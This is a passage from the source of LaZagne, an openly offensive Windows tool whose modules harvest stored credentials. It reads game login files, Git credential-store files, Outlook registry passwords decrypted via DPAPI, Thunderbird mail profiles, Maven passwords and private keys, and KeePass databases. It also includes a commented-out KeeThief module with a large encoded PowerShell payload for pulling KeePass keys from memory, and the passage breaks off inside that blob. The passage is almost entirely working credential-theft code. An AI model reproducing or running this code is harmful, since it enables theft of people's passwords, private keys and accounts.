run(self): creds = [] directory = constant.profile['USERPROFILE'] + u'\\Documents\\Rogue\'s Tale\\users' # The actual user details are stored in *.userdata files if os.path.exists(directory): files = os.listdir(directory) for f in files: if re.match('.*\.userdata', f): # We've found a user file, now extract the hash and username xmlfile = directory + '\\' + f tree = ElementTree(file=xmlfile) root = tree.getroot() # Double check to make sure that the file is valid if root.tag != 'user': self.warning(u'Profile %s does not appear to be valid' % f) continue # Now save it to credentials creds.append({ 'Login': root.attrib['username'], 'Hash': root.attrib['password'] }) return creds ================================================ FILE: Windows/lazagne/softwares/games/turba.py ================================================ # -*- coding: utf-8 -*- import os try: import _winreg as winreg except ImportError: import winreg import lazagne.config.winstructure as win from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import string_to_unicode class Turba(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'turba', 'games', registry_used=True) def run(self): creds = [] results = None # Find the location of steam - to make it easier we're going to use a try block # 'cos I'm lazy try: with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\Valve\Steam') as key: results = winreg.QueryValueEx(key, 'SteamPath') except Exception: pass if results: steampath = string_to_unicode(results[0]) steamapps = os.path.join(steampath, u'SteamApps\common') # Check that we have a SteamApps directory if not os.path.exists(steamapps): self.error(u'Steam doesn\'t have a SteamApps directory.') return filepath = os.path.join(steamapps, u'Turba\\Assets\\Settings.bin') if not os.path.exists(filepath): self.debug(u'Turba doesn\'t appear to be installed.') return # If we're here we should have a valid config file file with open(filepath, mode='rb') as filepath: # We've found a config file, now extract the creds data = filepath.read() chunk = data[0x1b:].split('\x0a') creds.append({ 'Login': chunk[0], 'Password': chunk[1] }) return creds ================================================ FILE: Windows/lazagne/softwares/git/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/git/gitforwindows.py ================================================ # -*- coding: utf-8 -*- import os try: from urlparse import urlparse, unquote except ImportError: from urllib.parse import urlparse, unquote from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import string_to_unicode class GitForWindows(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'gitforwindows', 'git') def extract_credentials(self, location): """ Extract the credentials from a Git store file. See "https://git-scm.com/docs/git-credential-store" for file format. :param location: Full path to the Git store file :return: List of credentials founds """ pwd_found = [] if os.path.isfile(location): with open(location) as f: # One line have the following format: https://user:pass@example.com for cred in f: if len(cred) > 0: parts = urlparse(cred) pwd_found.append(( unquote(parts.geturl().replace(parts.username + ":" + parts.password + "@", "").strip()), unquote(parts.username), unquote(parts.password) )) return pwd_found def run(self): """ Main function """ # According to the "git-credential-store" documentation: # Build a list of locations in which git credentials can be stored locations = [ os.path.join(constant.profile["USERPROFILE"], u'.git-credentials'), os.path.join(constant.profile["USERPROFILE"], u'.config\\git\\credentials'), ] if "XDG_CONFIG_HOME" in os.environ: locations.append(os.path.join(string_to_unicode(os.environ.get('XDG_CONFIG_HOME')), u'git\\credentials')) # Apply the password extraction on the defined locations pwd_found = [] for location in locations: pwd_found += self.extract_credentials(location) # Filter duplicates return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(pwd_found)] ================================================ FILE: Windows/lazagne/softwares/mails/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/mails/outlook.py ================================================ # -*- coding: utf-8 -*- try: import _winreg as winreg except ImportError: import winreg import lazagne.config.winstructure as win from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant class Outlook(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'outlook', 'mails', registry_used=True, winapi_used=True) def trySingleKey(self, keyPath): try: hkey = win.OpenKey(win.HKEY_CURRENT_USER, keyPath) except Exception as e: self.debug(e) return num = winreg.QueryInfoKey(hkey)[0] pwd_found = [] for x in range(0, num): name = winreg.EnumKey(hkey, x) skey = win.OpenKey(hkey, name, 0, win.ACCESS_READ) num_skey = winreg.QueryInfoKey(skey)[0] if num_skey != 0: for y in range(0, num_skey): name_skey = winreg.EnumKey(skey, y) sskey = win.OpenKey(skey, name_skey) num_sskey = winreg.QueryInfoKey(sskey)[1] for z in range(0, num_sskey): k = winreg.EnumValue(sskey, z) if 'password' in k[0].lower(): values = self.retrieve_info(sskey, name_skey) if values: pwd_found.append(values) winreg.CloseKey(skey) winreg.CloseKey(hkey) return pwd_found def retrieve_info(self, hkey, name_key): values = {} num = winreg.QueryInfoKey(hkey)[1] for x in range(0, num): k = winreg.EnumValue(hkey, x) if 'password' in k[0].lower(): try: password_bytes = win.Win32CryptUnprotectData(k[1][1:], is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) # password_bytes is + b'\x00\x00' terminator = b'\x00\x00' if password_bytes.endswith(terminator): password_bytes = password_bytes[: -len(terminator)] values[k[0]] = password_bytes.decode("utf-16") except Exception as e: self.debug(str(e)) values[k[0]] = 'N/A' else: try: values[k[0]] = str(k[1]).decode('utf16') except Exception: values[k[0]] = str(k[1]) return values def run(self): # https://github.com/0Fdemir/OutlookPasswordRecovery/blob/master/OutlookPasswordRecovery/Module1.vb key_paths = { "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", "Software\\Microsoft\\Windows Messaging Subsystem\\Profiles", } # https://docs.microsoft.com/en-us/previous-versions/office/jj228679(v=office.15) major_versions = { "7.0", # Office 97 "8.0", # Office 98 "9.0", # Office 2000 "10.0", # Office XP "11.0", # Office 2003 "12.0", # Office 2007 "14.0", # Office 2010 "15.0", # Office 2013 "16.0", # Office 2016 "16.0", # Office 2019 } key_paths.update("Software\\Microsoft\\Office\\%s\\Outlook\\Profiles\\Outlook" % x for x in major_versions) for key_path in key_paths: result = self.trySingleKey(keyPath=key_path) if not result is None: return result ================================================ FILE: Windows/lazagne/softwares/mails/thunderbird_mails.py ================================================ from lazagne.config.soft_import_module import soft_import mozilla_module_location = "lazagne.softwares.browsers.mozilla", "Mozilla" Mozilla = soft_import(*mozilla_module_location) # Name, path thunderbird_mails = [ (u'epyrus', u'{APPDATA}\\athenian200\\Epyrus'), (u'interlink', u'{APPDATA}\\BinaryOutcast\\Interlink'), (u'thunderbird', u'{APPDATA}\\Thunderbird'), ] thunderbird_mails = [Mozilla(browser_name=name, path=path, category='mails') for name, path in thunderbird_mails] ================================================ FILE: Windows/lazagne/softwares/maven/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/maven/mavenrepositories.py ================================================ # -*- coding: utf-8 -*- import os from xml.etree import ElementTree from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo class MavenRepositories(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'mavenrepositories', 'maven') # Interesting XML nodes in Maven repository configuration self.nodes_to_extract = ["id", "username", "password", "privateKey", "passphrase"] self.settings_namespace = "{http://maven.apache.org/SETTINGS/1.0.0}" def extract_master_password(self): """ Detect if a Master password exists and then extract it. See https://maven.apache.org/guides/mini/guide-encryption.html#How_to_create_a_master_password :return: The master password value or None if no master password exists. """ master_password = None master_password_file_location = constant.profile["USERPROFILE"] + u'\\.m2\\settings-security.xml' if os.path.isfile(master_password_file_location): try: config = ElementTree.parse(master_password_file_location).getroot() master_password_node = config.find(".//master") if master_password_node is not None: master_password = master_password_node.text except Exception as e: self.error(u"Cannot retrieve master password '%s'" % e) master_password = None return master_password def extract_repositories_credentials(self): """ Extract all repositories's credentials. See https://maven.apache.org/settings.html#Servers :return: List of dict in which one dict contains all information for a repository. """ repos_creds = [] maven_settings_file_location = constant.profile["USERPROFILE"] + u'\\.m2\\settings.xml' if os.path.isfile(maven_settings_file_location): try: settings = ElementTree.parse(maven_settings_file_location).getroot() server_nodes = settings.findall(".//%sserver" % self.settings_namespace) for server_node in server_nodes: creds = {} for child_node in server_node: tag_name = child_node.tag.replace(self.settings_namespace, "") if tag_name in self.nodes_to_extract: creds[tag_name] = child_node.text.strip() if len(creds) > 0: repos_creds.append(creds) except Exception as e: self.error(u"Cannot retrieve repositories credentials '%s'" % e) return repos_creds def use_key_auth(self, creds_dict): """ Utility function to determine if a repository use private key authentication. :param creds_dict: Repository credentials dict :return: True only if the repositry use private key authentication """ state = False if "privateKey" in creds_dict: pk_file_location = creds_dict["privateKey"] pk_file_location = pk_file_location.replace("${user.home}", constant.profile["USERPROFILE"]) state = os.path.isfile(pk_file_location) return state def run(self): """ Main function: - For encrypted password, provides the encrypted version of the password with the master password in order to allow "LaZagne run initiator" the use the encryption parameter associated with the version of Maven because encryption parameters can change between version of Maven. - "LaZagne run initiator" can also use the encrypted password and the master password "AS IS" in a Maven distribution to access repositories. See: github.com/jelmerk/maven-settings-decoder github.com/sonatype/plexus-cipher/blob/master/src/main/java/org/sonatype/plexus/components/cipher/PBECipher.java """ # Extract the master password master_password = self.extract_master_password() # Extract all available repositories credentials repos_creds = self.extract_repositories_credentials() # Parse and process the list of repositories's credentials # 3 cases are handled: # => Authentication using password protected with the master password (encrypted) # => Authentication using password not protected with the master password (plain text) # => Authentication using private key pwd_found = [] for creds in repos_creds: values = { "Id": creds["id"], "Login": creds["username"] } if not self.use_key_auth(creds): pwd = creds["password"].strip() # Case for authentication using password protected with the master password if pwd.startswith("{") and pwd.endswith("}"): values["SymetricEncryptionKey"] = master_password values["PasswordEncrypted"] = pwd else: values["Password"] = pwd else: # Case for authentication using private key pk_file_location = creds["privateKey"] pk_file_location = pk_file_location.replace("${user.home}", constant.profile["USERPROFILE"]) with open(pk_file_location, "r") as pk_file: values["PrivateKey"] = pk_file.read() if "passphrase" in creds: values["Passphrase"] = creds["passphrase"] pwd_found.append(values) return pwd_found ================================================ FILE: Windows/lazagne/softwares/memory/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/memory/keepass.py ================================================ # -*- coding: utf-8 -*- # Thanks to the awesome work done by harmjoy # For more information http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/ # Thanks for the great work of libkeepass (used to decrypt keepass file) # https://github.com/phpwutz/libkeepass import traceback from . import libkeepass from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo class Keepass(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'keepass', 'memory') def run(self): # password found on the memory dump class if constant.keepass: res = [] for db in constant.keepass: try: with libkeepass.open(db.values()[0][u'Database'], password=db.get(u"KcpPassword", {}).get(u'Password'), keyfile=db.get(u"KcpKeyFile", {}).get(u'KeyFilePath')) as kdb: res.extend(kdb.to_dic()) except Exception: self.debug(traceback.format_exc()) return res ================================================ FILE: Windows/lazagne/softwares/memory/keethief.py ================================================ # -*- coding: utf-8 -*- import json import os import sys from lazagne.config.constant import constant from lazagne.config.execute_cmd import powershell_execute class KeeThief(): # def launch_kee_thief(self): # # Awesome work of harmjoy (thanks to him) # # From https://github.com/adaptivethreat/KeeThief/blob/master/PowerShell/KeeThief.ps1 # func = 'Get-Process KeePass | Get-KeePassDatabaseKey' # return powershell_execute(SCRIPT, func) # def check_if_version_2x(self, full_exe_path): # dirname = os.path.dirname(full_exe_path.decode(sys.getfilesystemencoding())) # # version 1 use an ini configuration file # if os.path.exists(os.path.join(dirname, u'KeePass.config.xml')): # return True # else: # return False def run(self, full_exe_path): # Too much detected, not supported anymore return False # if self.check_if_version_2x(full_exe_path): # output = self.launch_kee_thief() # try: # output = json.loads(output) # except Exception: # print_debug('WARNING', u'{output}'.format(output=output)) # return False # constant.keepass = output # return True # SCRIPT = ''' # #requires -version 2 # function Get-KeePassDatabaseKey { # [CmdletBinding()] # param ( # [Parameter(Position = 0, ValueFromPipeline = $True)] # [System.Diagnostics.Process[]] # [ValidateNotNullOrEmpty()] # $Process # ) # BEGIN { # $EncodedCompressedFile = ' # tL0HfFzFET/+7tVrknUq72TJlmSDzOOMjTFgJLkDppgSMLaRTDEdrIAe3Nkk4ZAxNYQYE2roJKQTQhLSQ0mDVIoDCUkIBtJpISG # FVOTffGd233unYpzf///zx7q3Ozu7Ozs7Ozvbj1jzAcMyDMOmv+3bDeOrhvxbYrz9v030V9/59Xrji5nHp301dfjj01aeta7SdW4 # 5PLN88jldp548NBSu7zrl9K7yhqGudUNdB77jmK5zwtNOn11Xl91VpXHUMsM4PGUZJ7166bE63RcN08il0obRlzOMtMD+3U/uLnK # clBPq4DaFbsOIv8aHcgzHP8tYcrlhNPD/+Bt9+N+9lO7hhqT7cWe8QuaMPOIM5IwpO8ET/S9N+OkkgOg9JOGdvf70d6+n7/m9qlx # 9Md2JKCfNLlfKp5KbaUPZXfouyNXgLaH/s8unnx0SYl7RzGntPwZv/9F0gibTcIyur5nGVXeljRT595Nc/qd/TXMmGZ+mL8UvVLa # 1Gm62Qs5szq0QIdnhfxQM261YcL4JZxUAK6Ray/acRdEEEFIhsw0pt/omhxIR2b7lHCoAjwCmFVZNw82ne+dQiGeFxOVs2nKr/yS # U7j6fgDPc7hH3eaKhkqGw7rphBGXCQ2zDVflkCe7PucorGSkiocMMiFHZUodZJZrt0lz5hnkAKb3lZqUOlAOoUI0LLFSYUSbYuZV # 6Al0gkaxw0tuEN3B4+xzPOJV5bxQUam4Ualggd7ZnGoU1GkEjuOn1NpHP8kL6ZHuJHUYxv61DEJoJNOuZbfXsG/EpsD1sIdhzfil # N5WxAXlONfY42gJEsM1pRabppDbODw6qWhlkxzNYwO4Y5GubEMFfD3BjmaZinYE1zphvtKbRRkhcfBTWDIn3CVpYar9xN3DBRKDe # YDHgb/cwg+DEMbxwDP5PhVLFuvtEsX0S+oJ2CapEuB3gKIFMB8et6lkG8yrdwZKpvN3MNsSVVvguIHYgfY2fMgJjoFgfm5znSxwh # HhRT761To3PvdsBMwMyA+u31FoHrlT0UZMyk9UwX8KOcLxKBrFLHhNJaTUfKZ1nxMx7zNaFgmhmU1LBvDchqWi2F5DctH9dJppFO # sT3dUL10T8L91Z/nfNg7/p7wt/zt2yP+OWv637YD/02P+B9OhVRg73GXcShhVB3WaZ3UxH+s1rD6GTdKwSTGsQcMaYlhBwwpRHXQ # YFtWBs+M62GOCOtj1/0sbmPG2dVDaYR2Uausg2Nk2ELxNG3BL8hfVg4Vy8rdb6kXgTXNMYx+DO7BCZR59N5GqsMu/QN4zwEo/11P # gjD9C1ZIKesg5wyv25zx3y7q5L3Ndt89pNH6LzoXSMIP5hJF1w93QZSx6ksAbA1RD1/ZJnYZvhruDZupZ3ZzHAeBAtrcTeJzzyyg # eY21uQIYzUbw9Cd8NqQKz+Z5FUNhmMAtwC0I4m1x1PSRcRgaIWa8Y9KJWwjnQ8K9u45Bel8NZwVPsvRD0NVH+5oifiZT/NnC5yWZ # aCnY4V+c+0uYFS1H259xSah/0De82Oj9oIG1yn2wcfb/0E4Yx2bj3UaOFOpyUSe5vPStmTdOcgvEtg82zgt2X18U1OfGSZYaHoUI # PZt6JZ8u6oA9ssjwG55lbdRZ//LR8Gq3gIApLMLIhYuTBKRI1Tr3rJeJTsDearUr5aghsk225Bbt7y7pGJyA7x+2FjUluKl22YG9 # ZN7gEnadJXDgSeSTIhd1io0yO8XWwlcrUtZoaICfbvZWi2cG+EJ6uL8fQZg3NNecDkrRs2xJ0yG6+B6aXl0+3KURfI/rB0RRel2m # ZPxmEBPuhlD1c/Ewb6jjbw4bAZ6iklT4YAlEaLbVpNFFdtswHbyzIJyVQsCUF6uoNkeEFxlmwt9AOFoD25lzZMo1z8yKMXUd9h3h # 4bApyG55Mn3AhQftakb9DaHXMHxZANyPEJPCKiyZF9XKqqepFwv1wEWSsCNQzLSE13EwWW1870v4zYTc5Io4ORys4kjyhXU1o4WL # yNLk9x8IycsMl8HkFu+Cx2deULqR7FyAoHS4je65csqhhLwXpM0xN0WpLUYRoQQptan8kk+k5EhKRCQ6Aj2SikJVEc4WcpHYfUjs # QcgfZKeTKpk1JnUpB3YR7PX2b8oV8MbyWXOtJR6XylNoytL1PSdvLjPiToraXZoYzdb1XpjR1zZRkWvTguDQuTsU01lFoHdMo9C2 # 3NX2To/Qus1VpKw4kox5REglO6oFIN06SBBsotEEKXSgUJNEXo0R3QaEbKMBOBwuQWGOhsbcKYH2hEea423MOfCpiqzNexIWI2FR # o6t1fIjZJxH0SEY+MInYkIi5CxOZCc29GIjZzRKIcDO7r2759u/B4UpLHhXoMIlz/AGgll3ykP7KqUvq+NKLj1NQLiRVUad8db1E # wBLngsi1NcA4Xvm4mIoHnboOx0NQiMttSo0JZC3vhGSTspEeX3iDDrgxx/2T6DtJXKVGGj5B/K32fMGvh1N6NVfRnWrXwL9LfOeS # YRvBJRvwPOPMIdiD9tYA21s0CP4xgA/RXp3Cb5uxq/J2+OeiBItSxVf6Ao4XaZJmeQd8P0Pdj1EJTufASVNE9EY6ncLwYJy84D0Y # 4aYWTjnHqSHmwnNmMnAmH0HqcguMvyoLXTmfDCb2gurlUcER/u36T19PGFVGgJp+hNn8ukkPg7QXqpEkReAVn7ouuA8vAdanCpuJ # rZfyQxID7m2w4mYMcmCBuQrfvarxl8Pi4gGEh+PDEKD7kPGnZeav86x2xqG508TMKJxPjNNnQe8wAh9HJxxwgohUH3AQHXOGA5ze # le6AnqZzpgkONNZ1kQZpYQAqw4M59gVjQwuX0wjpmQcFO8iCn2FPAN812FMaMSX5MMWDM1IEfuwg/dljo3OhCjycXdpqLLAxKS4G # JD6rAdqLAthTY8UnVT2Z5KLgZKlmyuC4VlwpRsOf+ioo7S1XrblzcdLK03RxkhzOlhCjf7Mre2vgroV9fJe2jYLJtYZExcgh6QYM # aeOcS6CKyUxJmB/fD/3Z0P2y6FuyKFJSoK6P1Fa4OjHga26CS3yTkZ/nX2lDHM7M9c9FfK2MlZ7qeDzKWw8KzAmLLTOaNW0IUl4L # 6JZrrLwb3XHPLOgIO7PVQi85vo+Snpg/ud6PpA2v4cNDRZ1bxtezwCLajF5kjLSQ07aYVHKnGMu/AF2MPdkBnSZqm1d0H3TYjOIp # 8w0dz6KBZhWNSKliBj8mf8BgOu1VBN5MF0c6zFDXI4Upg+SXj66a1kXiT7eZRwYyNq8k94h5Lv5V+gDch0Hbq7WCA022ak+Z5pQb # I6RrYMa4zfBx9XXv4eHzq7eETQDCTXTkR9pjnDq+N+fJIxBevCnAVsSXoqSTLTkJFMIbCO4HJFC6cDC4A4NU7DCr2YKasZfgU5O2 # NuKfqEgyfZugxy2qzikTN6mlcC07ldGEy5GMDZB7ywSiBhZreeOYYxpyFZNcxYxBYGUT5JEGyt95JnzzMX4ws6vwmuweGeIbUhn1 # nwabWQ44MDWv+mHHTARE00w3PUfWs5HVI5CAI8c2aJaNt47mMcYo5mntmQPbFTMRd1DlSKYMmc7gC5PFw3QTuBsE9X9qGxXOOjZj # 38hc0It4rFM/i0VFz5V0cfdAa7M+6xcGBLur1LxpcPAGaG7wfDQZlWUP5bG+F6hombLvbGt6/EaPpKybOxAo8IRJx3yM0XoCPNVx # VsmcZ86R/LVQuZNmzhofB+upwJENvxoV2R9yNqKSLUKNpSRu03TOGP9aYuFaQ4Qig5RKh5VKh5bIaWppBy+WKliuYlisiWrJekpb # 3gpYrQUt2J2hJxLXQlhQt7xdaNgstV9fQ0gJatiharmFarpmAlg+AlmtBSz6m5fVxst54faIN3MBt4EbEvYnbAAKDOqQAGmj8ZPi # g4WZFwy1Mwy0RDVNqaLgV6dwG9YIZt5nSRv8yET/iuLYA9k9QaQeTlHyfTzy6Q3h0p/DoLnzs4Q/pti68KoLODys672Y6755Ahj4 # COj+Kkjb8rzJUiOrtE0LTJ4WmT0X11kVxWkHLPYqWT0NDUa73ItfPRLnKGLLOOM/ADADpqTFNfAO1gfas2wtzxQ3vI5i/EFa0FX4 # WudFA8HP4muHnWSeLyZ2LEHrEdL4fKoynNLQxLUMn1lE8Z73EmH6KmLNzzY1fAIGNivfzqMTUNmdilhgACv/KuOEtAmifM8kgATX # adlgenhoMv5Yoz9e5PN0MKw6ED0ixHkwUKx/h5bftyaV4yMAkjhe7BXPWG5nxSytlPdjo3RSV9WGUxR9dlmJU1m+NG96qy5oxqL8 # y2scta/gdrn0mieeq3PARFEcNjJjs/DYEVB5lWQu/G9WTy5S7Y+qp1Zh3ZET79wyZyaulrS2i/Yfjhrdr2m2DWjrW2wqVx5ScPg4 # 5HV0QtwqwvwDqonwSNVAB1Kh5rtec18tcl/DwCW4PEPsnIfZbDZnkFEnKb8MsyIwJ0lN1ZRjHG1PfY7QGsGKpP7+YIFNB71OK3qf # Hp/dpphcGXWNqpIU0YrtXEhLz6d4AjGWUdPgT+l1ci5eWsPCnLIBE/DMg/mcR8UrMWV+M1ydPTfTJvxD98Kzuk6GjOkD/LxX9z7G # Oem4CHbUNOT+vc/6fdFRHpKNeFBp+JTrq1zU6qhO0/EbR8lulo36HXH8f5SrjmLRBtivijNemdyfKsm4fSm36G/+Q6Fte4r7lZaT # 4CvctCAw6ka4bvmZoGy6SzS4pJ/Ijk9iYNn5+RclvJuc3uPH1RIZ/4gz/jAzf4AwRGEyTDP9iqHWGKL/pkp/m6dneKJ6+O9lf7xL # x9O/C0zeFp/8wJrDlKv+U7onaIubRZ4b/Vv7pZjMm1FlOzhgbz8IkuraZ3pK8RiSv7ZzCfdSFG6m41KkUSm3Sb8UCeBMCm4PdkAp # wnQSuy7gecNOMi0BbcGlUZDdjlWBmifulj4LW8erAGm3aq+77iohfTiWTwppKmKVPrmd/1sM5cuetdJinb52bCevou55UfDts6D4 # 0+EylnmBNNgaak1KYUqbRbgM5wgL9KPX+5bHKnexT1o9LjZU3in6cYVrNwe7CR/CgKcGDZuZBC3jgMw+amAelmAczOeKb/xcFp+i # OYqEhae3BHrQ5GvEYu6DNTQZvaHDVlhpHf43Jw60Cb6yB5GA9YyY12SkoyVT6CWZHNtdsENIc7Cl2nG3QWMLYFXl3pWR8N22n8h5 # TPrc6bVxibBpNBkLOdJCzC8iZE+utdmrTNLoyuncgTx+P0wt3TUWdJ48FpY90sQgzsxjM5XHWboRjYY1iZm5sr+np/n53Y89+kYk # m6q+hNfCPKN4YJGRid5aJEkifyTKBQCxrKH62z8kaFWCOR789mn5nNIMsagqzuCk0sNTORlOw3XS4J8qpBPulsYLtEAtSrCe5LAu # M6Scm5Htf4W8fqQzqW2baSqtgfQ7Z7AZaG42RFlLn7S6WQkSfj6tzemKds2+Kdc68FOuc/VKylyJtnEGRgh3UX6ILCntQLp5odMN # eFNzywr6Usnv8/LYpHMLFfn5s5RVLvMai6m+PVVLmdrIBqLYJMq69NT8WmR3JQ6uR31XSi/qBXik787RP90Euzx+U0GYWqfa6mL7 # UVS4Zr+m4VYT2ocTmho015hDww6UpNnAZS8947E9uThQd7wGQvQMhdfMTNgbTtCC2rWlAAxnW5f/cxF2WrXM5mNJsMM3wEJTC4o8 # 2QiexpMHpj6Ty2w6OvLqaSMIM2w0PZe2L33A5/cz65ra2MSo4yWxf6m8K+L3YWHaZXvPsMQau1W3RNbA3aw/w97CU2CCHj8fYrdS # TtwdHgDFH0k8vbH9z4zsSbfcobrtHg38ruO0iUGp2If00sBG6EsGrELAotmtsA/OFs0DDsaqO+8ejwbQohQGksAYpLI71GvQ61rF # mI43jOI3geFTrCapaT0SstSlZwJ4Z2R9LQd3+WtYkjT2RximSxqlI4zSVxulI44zx0zhA0oC9eZa023WQNJabAyXs/rfX86QO/co # 7U2KfcNxlE8U1x4lbrJyTjHuQxB0ah4+2Hx6MUMY7ZAd4xfBQhLbPaTZuThmYQy5UymxTvK2xVqmwiNuV9eDbBnDyfHBy47sSQvN # uFpr3AOMCFhoEYqZ4plutMl60ze1CIA0Dlh9GUDo4DObcRpgxvHUsE14kZkv1fDZaHGpN4Sa0GbJjLqav2lfws7H7CqyNl4wh6tK # YqEtioi6rJeryBFGXjSbKj4lyFFGOE14RU/LrsZR4mM7SiXJiG68cQ9r7gHAVk4bA4HCWR27nNxh7f0+3891TwdGpuJ86IraHipg # WJw/D3xHD/ST8qNhuuyZBwgeYhGtBwnVMwjVstx0d220rItuVRnvGXv+3tusNLGfhjdxht7OOuwkdtkvG6weRZzq8GbrwllRklG4 # bzyg1dB+21Jg1FPU5mHlvDo7Rbd9mnT4X8n2b0kG3p2TS/Y5YFz04Wty/nzDJbo9Msp+MNkHeTKDdMY7l5lpOvROsJGKG71Ta5i4 # w+EMgYcT9MNx3o6ZXxTovKsPquAw3UbJ7owwf4zIQ8R9P8QLCJ3ayDJ/YuTJ8fMdl+KQqw6dA9z2g+9iY7i163aXyaQTfC8XwGUS # o3AfnZ1M8Ts/AbsL+pkKjYYWfQxqfB1L1M9z7h/ezB8hu+IWUHsOCB7Bp9uX1BqBaFURrNMIvgmRZkpN59LmCEH5J6UzExYzYvAn # iQqaCfh7E5jxVluVJxPArnBJst69KH/C1FNtuX2d4n195QMAPsr/DDB5K8ZpESANBN9rXhRWaDuzYsYc78XGGu/ChupzGu+YwB3O # osp/LrWnj3LarLeyc8c0qovEMzt3dRbPaGftazWpX7JtsVqdFvuDhVLxOQmPkZmxn2S8le4U6zOoMvWdvRryPbzcN2y2GBRoWxLD # dZU0yz/vn92O+ApR12SZzg29EdZKVvXNmtYTtwNS9u2bQCEqyLtYrBRO72RSYrHi38k0CXsAbklS8AQQto5/5LJtLiDmVb6Vk/aQ # tpdZPIFtXUnAP04N41npsC6tQ1+NmrQ3XmobZiw0GpoS6lbMnUdStAwQXA+jb9CNLm25I/ZrbRabLn/1mb8s6L3wT/mMNb9OS5kQ # Sxa4GYlWlK49FTwXzu17PaZjQlTW+Q3F6sV4UfCel12a/mI7aq7CBp2ql8Hbf1fA0Go2pRrPRChZZhjuDWEejdpelYQksdU8BIBB # LIOJpBYBMLAFXMwoAsZjfh1wfSwiWq2XK0+KU1pKUSQiRYrUlrFbtcapBY0iDkizsXEVJOFlqbu9eowWiWde8cs6Mnbvjp4lkRdV # o5d2oTDNooE9xydjalJDW2pCPeRwSMa+Vt7n5uZ7DWPAieNuSPWIAmNo3JfaDhVzbC3jTeq5nnMyVz0tEScqBw3td5vOeTCBksct # 9F0pF7RLVNm+ex2Hc14tKtYMCWFJvB034OkELfZwiBq8utcwS6xFnmJvlqHX8ZsOhelrAe/TRIoslawONY1Wf0ZHRFWStBxSzQdj # uyFzkPX6Nhng2kwltjvj4DR+BZlERUI5cgoce/85vixiXbzQvjAOCRxE3wWKPf0fhxwE1+F0M7hqLHwck8REyjUOmRSGGXjeu7qn # 12p6xXpujYXNi2F4atlcE07zNROdpdNcX7IoasYMuqabpWjdROnN1OnPjtPfWsL1j2D4atk8M21fD9o1h8zRsnoJtNKv78YbQ3ZA # 5t5yhSoYURzG4xCE6MCbELreFLH/zgFTthdZuNILvaoXtl8j3vajf7eB5Fbd0j1ntQXvIcdNFNqytBFrSqbHHAE09iqb2OQXj2/R # dxDqZ42HTQUlwe1nxXwgimIJeDmvONud2XJSc14ezRNveiehe+F4ChT+lnyr1y7Y/YlW+D4MDyXrQno00KnofBfMev0o3S3gaU2C # umwlRU5gPRVWZLhO+DXs/ZtRYnNdS9OfUmBuj6kvuM1yL96ztYVz5xXjMrQ8nmdX547Krj9mVLNyFAIUHw1kcRiSFJHK6iHgJrwq # LbIk+LXDD+ynbwTU+QDksBp9beZew3ToftJcPoiZeKp+LX7M4H8sx5TvJ0wMOlr9Mrmx5K/1O1X0CdQfW5lOJWOoObOWY7CRNkDY # naYK0O0kTZIozxgRR8r9Ay+uCWIYXathCBVtDTahPmtBCaUKLuc8BHxaJ7bRYbA8b+whwHqxgVj7AVepi8OAGq2J7wGZbcynrPu6 # 1x8E0K6ebhtssHuY51g9WKTuJaMO439V2JFLZn/O8NpGSoKj5JD/olwjAJwPCOIDwm7PU6eSZhAehMHme0qTujEZabneOU8l6bpQ # X0jrfrB4QCVGli/rA4QNYPg4QZoFvB8S8PFDz8kAFoz53GeJztmZldySwjBNYxhhalp43gzMpWzVo8LOJDUUHCcsPxseswhceSKj # Dh4osMgRnzThkeWxbHpqEL1Pw9jndBrVy40DWBYeg/UujgLNU+YGMCk9Hh/9DHhqekkLT+xGGhmlWQ8FjsMYfxxg8U94jqzcm4xR # dprxP5O9i/0GRn5c+yqu1vy9L6aoEn6C0ymcj5EmeYijYbIr1Yr9NgcahsJeDhaR4+nDCtLnJVulg529fS5wP+6EFuGJbmxzeBl+ # kL+L5TY4k1eQWHDM8iZUafgtuMB9gr+DI/ntusq28MatYi5IWbhY8AVeWAJgpZNJiIpWASh6YTuEe7CmkMQ/OUOSNOWPXNQtOmoL # syhSAtkYj7L7rsdF4zCDbdMMfQ5cewnKDX2xqm6nqjNrWFNnni/k1MrMNGmJH+3YPEop5MItpUTn7UoUwlU4xq8shmy73nWXuPZY # b+uxQhvceLmM5GRcNR2BmG3wEhkYlJokHdKm1PyZmLPEIX4b6l4K8dCk6H/NYc2xnecbRoDPOZxnLI0vtQWDy0zza3rgN27HULMl # z5B5xvzeZQn/CsyQIDH/KA+PwGfBKl0ONRTm1/eO2cbhqO0fgu8WsHomMC2JLArYe45ThI5nh+C09ZVZ+hnTfYeizm6a9AQOb4SM # Y6QitJMqb0XZ/DmtO+Jgz/kbfg1lfjUrCSpyYANfKf6G4PvcBYvMfRUJ/Aanhfek7fBhnhN/EBlPQXJ6dM861+SiAisFY5X4CBws # sWKeVKjQGSr31S5Yeaf2CftbD22iULwPuszwgF+40psK/Tsb5WFFd3pjCYlKw/ARFazTLZCyfG/wypY54ddlG98WVo0GJ2v/jGRc # afEa4wFtF7fA51CnvMnTDbYj3fIoPavE802tjVzYkz14mhZ0SIcmOF6AyBAHAYB+M1raxcgtepLDn1Bxe3ugo6Tk8w1i/HsezMN/ # DhFnhr1Jqv1WO970k7crho0QF48ODLOxntU2L1WWwBnMzK5g/+N34QkJen2d5/WEsrwgMjkusgaCfwpDsUObR0VrJZ93iwDJoLxA # 